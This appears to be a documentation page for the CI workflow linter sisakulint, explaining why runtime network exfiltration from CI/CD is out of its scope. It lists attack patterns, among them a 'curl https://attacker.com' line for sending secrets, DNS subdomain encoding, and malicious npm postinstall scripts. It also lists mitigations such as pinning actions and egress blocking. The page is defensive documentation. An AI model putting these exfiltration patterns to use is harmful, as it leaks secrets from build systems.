Case 12: Network Exfiltration (Runtime)

Case 12: Network Exfiltration (Runtime) #

Target Files #

Vulnerability Overview #

Compromised npm packages or build tools exfiltrate secrets and source code to external servers during CI/CD execution. This reproduces real-world incidents like Codecov and SolarWinds.

Attack Patterns #

  1. HTTP exfiltration: curl https://attacker.com to send secrets
  2. DNS exfiltration: Encoding secrets as subdomains in DNS queries
  3. HTTPS via GitHub API: Using legitimate GitHub API to send secrets to another repository
  4. npm package: Malicious postinstall script with covert communication

Why Out of Scope #

Network exfiltration is a runtime problem that static analysis cannot detect:

  1. Malicious network calls originate from npm postinstall scripts, not from the workflow YAML
  2. DNS exfiltration cannot be identified by analyzing dig command arguments alone
  3. Legitimate and malicious API calls are statically indistinguishable

Indirect Mitigation by sisakulint #

  • commit-sha: Pinning actions reduces compromise risk
  • permissions: Least privilege limits secrets access
  • secret-exfiltration: Direct network commands in workflow YAML are detected
  • harden-runner with egress-policy: block for network filtering
  • Allowlist-based egress control

Verdict: OUT OF SCOPE (Runtime Security) #